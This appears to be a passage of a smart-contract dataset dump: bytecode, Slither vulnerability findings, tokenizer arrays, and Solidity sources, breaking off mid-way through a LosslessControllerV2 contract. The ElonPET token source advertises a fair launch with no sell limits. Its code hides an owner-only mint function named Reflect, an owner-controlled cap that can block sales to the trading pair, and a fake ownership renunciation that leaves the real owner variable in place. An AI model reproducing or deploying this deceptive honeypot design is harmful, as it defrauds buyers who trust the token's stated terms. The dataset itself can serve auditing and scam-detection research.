9578384fd5b818501915085601f830112614ecc578384fd5b81516020614edc614c8a83615a2c565b82815281810190858301838502870184018b1015614ef8578889fd5b8896505b84871015614f285780518060060b8114614f1457898afd5b835260019690960195918301918301614efc565b5091880151919650909350505080821115614f41578283fd5b50614f4e85828601614c6a565b9150509250929050565b600060208284031215614f69578081fd5b8151610daf81615a8e565b600060208284031215614f85578081fd5b610daf82614d26565b60008060408385031215614fa0578182fd5b505080516020909101519092909150565b60008060008060608587031215614fc6578182fd5b8435935060208501359250604085013567ffffffffffffffff811115614fea578283fd5b614ff687828801614cdf565b95989497509550505050565b600060208284031215615013578081fd5b6040516020810181811067ffffffffffffffff8211171561503057fe5b604052823561503e81615a76565b81529392505050565b600060208284031215615058578081fd5b6040516020810181811067ffffffffffffffff8211171561507557fe5b604052823561503e81615a8e565b60008060408385031215615095578182fd5b61509e83614d38565b91506150ac60208401614d38565b90509250929050565b600080600080600060a086880312156150cc578283fd5b6150d586614d38565b945060208601519350604086015192506150f160608701614d38565b91506150ff60808701614d38565b90509295509295909350565b600080600080600080600060e0888a031215615125578081fd5b875161513081615a76565b965061513e60208901614d26565b955061514c60408901614d4f565b945061515a60608901614d4f565b935061516860808901614d4f565b925060a088015161517881615a9c565b60c089015190925061518981615a8e565b8091505092959891949750929550565b6000602082840312156151aa578081fd5b815162ffffff81168114610daf578182fd5b6000602082840312156151cd578081fd5b5051919050565b600080604083850312156151e6578182fd5b823591506020830135614daa81615a76565b6000806040838503121561520a578182fd5b50508035926020909101359150565b60008060006060848603121561522d578081fd5b8335925060208401359150604084013561524681615a76565b809150509250925092565b600060208284031215615262578081fd5b815163ffffffff81168114610daf578182fd5b6000815180845261528d816020860160208601615a4a565b601f01601f19169290920160200192915050565b60609390931b6bffffffffffffffffffffffff19168352600291820b60e890811b6014850152910b901b6017820152601a0190565b600082516152e8818460208701615a4a565b9190910192915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0386811682528515156020830152604082018590528316606082015260a06080820181905260009061538090830184615275565b979650505050505050565b600060018060a01b03871682528560020b60208301528460020b60408301526001600160801b038416606083015260a0608083015261538060a0830184615275565b6001600160a01b03959095168552600293840b60208601529190920b60408401526001600160801b03918216606084015216608082015260a00190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b8181101561546157835163ffffffff168352928401929184019160010161543f565b50909695505050505050565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b60029190910b815260200190565b600293840b81529190920b60208201526001600160801b03909116604082015260600190565b600294850b81529290930b60208301526040820152606081019190915260800190565b600060208252610daf6020830184615275565b60208082526003908201526249535360e81b604082015260600190565b602080825260039082015262575a4160e81b604082015260600190565b602080825260039082015262544c5560e81b604082015260600190565b602080825260029082015261545360f01b604082015260600190565b602080825260029082015261115160f21b604082015260600190565b602080825260029082015261046560f41b604082015260600190565b60208082526004908201526341465a4160e01b604082015260600190565b602080825260039082015262425a4160e81b604082015260600190565b602080825260029082015261504760f01b604082015260600190565b602080825260039082015262545a4160e81b604082015260600190565b60208082526003908201526220a72b60e91b604082015260600190565b602080825260039082015262465a4160e81b604082015260600190565b6020808252600390820152622098a360e91b604082015260600190565b6020808252600190820152600560fc1b604082015260600190565b60208082526003908201526224a9ab60e91b604082015260600190565b6020808252600190820152601560fa1b604082015260600190565b6020808252600390820152624d545360e81b604082015260600190565b60208082526002908201526114d560f21b604082015260600190565b60208082526003908201526254554d60e81b604082015260600190565b602080825260039082015262544c4d60e81b604082015260600190565b602080825260029082015261495360f01b604082015260600190565b60208082526003908201526229aa2360e91b604082015260600190565b6020808252600390820152622622ad60e91b604082015260600190565b60208082526003908201526250534360e81b604082015260600190565b6020808252600190820152605360f81b604082015260600190565b6020808252600390820152624d5a4160e81b604082015260600190565b6020808252600290820152614e4160f01b604082015260600190565b6020808252600190820152602360f91b604082015260600190565b60208082526002908201526104e560f41b604082015260600190565b602080825260029082015261454160f01b604082015260600190565b6020808252600190820152602960f91b604082015260600190565b6020808252600390820152624f4e4160e81b604082015260600190565b6020808252600290820152614f4760f01b604082015260600190565b60208082526004908201526341545a4160e01b604082015260600190565b602080825260029082015261524360f01b604082015260600190565b60208082526003908201526220982360e91b604082015260600190565b90516001600160a01b0316815260200190565b90511515815260200190565b6001600160801b0395861681526020810194909452604084019290925283166060830152909116608082015260a00190565b918252602082015260400190565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715615a2457fe5b604052919050565b600067ffffffffffffffff821115615a4057fe5b5060209081020190565b60005b83811015615a65578181015183820152602001615a4d565b83811115612f955750506000910152565b6001600160a01b0381168114615a8b57600080fd5b50565b8015158114615a8b57600080fd5b60ff81168114615a8b57600080fdfe492fbd8cfdd942203e99f6bc74253a1e1f5791b0644612279e778349f353b198a26469706673582212205953703818b1dbbb35032e52106980717c51661df347ac13768579d16df3b3ea64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
26976,
26224,
2475,
7011,
2050,
25746,
28756,
5243,
2475,
29292,
2094,
2683,
2581,
2497,
2620,
6679,
2546,
2692,
28154,
12879,
2629,
2094,
27009,
22022,
2475,
2050,
2683,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1021,
1012,
1020,
1025,
10975,
8490,
2863,
11113,
11261,
4063,
1058,
2475,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,593 | 0x9564ba62f66cbbe145c5324acd89e3aa44025a90 | /**
π₯Fair launch, no dev tokens!
π₯Fair trade, no reserve, No buy/sell limts and no transaction fees!
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ElonPET is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 5555555555 * 10**18;
string private _name = 'ElonPET';
string private _symbol = 'ElonPET';
uint8 private _decimals = 18;
uint256 private rTotal = 777777777 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104b7578063dd62ed3e14610501578063eb7d2cce14610579578063f2fde38b146105a757610100565b8063715018a61461038057806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce56714610292578063408e9645146102b657806344192a01146102e457806370a082311461032857610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102e2600480360360208110156102cc57600080fd5b810190808035906020019092919050505061078b565b005b610326600480360360208110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c3565b005b61036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad0565b6040518082815260200191505060405180910390f35b610388610b19565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e95565b6040518082815260200191505060405180910390f35b6105a56004803603602081101561058f57600080fd5b8101908080359060200190929190505050610f1c565b005b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600654905090565b60006106c284848461136d565b610769846106ce611206565b61076485600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610874611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089557600080fd5b6108aa8160065461167e90919063ffffffff16565b60068190555061090981600260006108c0611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60026000610915611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109cb611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b21611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f24611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220dda2b155d8771c21b1451122807dd0db48d049a93e00540b625c909ec6d4cf3264736f6c634300060b0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
2549,
3676,
2575,
2475,
2546,
28756,
27421,
4783,
16932,
2629,
2278,
22275,
18827,
6305,
2094,
2620,
2683,
2063,
2509,
11057,
22932,
2692,
17788,
2050,
21057,
1013,
1008,
1008,
100,
4888,
1010,
2053,
16475,
19204,
2015,
999,
100,
3119,
1010,
2053,
3914,
1010,
2053,
4965,
1013,
5271,
18525,
3215,
1998,
2053,
12598,
9883,
999,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2340,
1025,
3075,
4769,
1063,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
1013,
1013,
2429,
2000,
1041,
11514,
1011,
8746,
2475,
1010,
1014,
2595,
2692,
2003,
1996,
3643,
2513,
2005,
2025,
1011,
2664,
2580,
6115,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,594 | 0x9564f89bf9Bd9047a3F0486496C0060395C56638 | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
interface ProtectionStrategy {
function isTransferAllowed(address token, address sender, address recipient, uint256 amount) external;
}
contract LosslessControllerV2 is Initializable, ContextUpgradeable, PausableUpgradeable {
address public pauseAdmin;
address public admin;
address public recoveryAdmin;
// --- V2 VARIABLES ---
address public guardian;
mapping(address => Protections) private tokenProtections;
struct Protection {
bool isProtected;
ProtectionStrategy strategy;
}
struct Protections {
mapping(address => Protection) protections;
}
// --- EVENTS ---
event AdminChanged(address indexed previousAdmin, address indexed newAdmin);
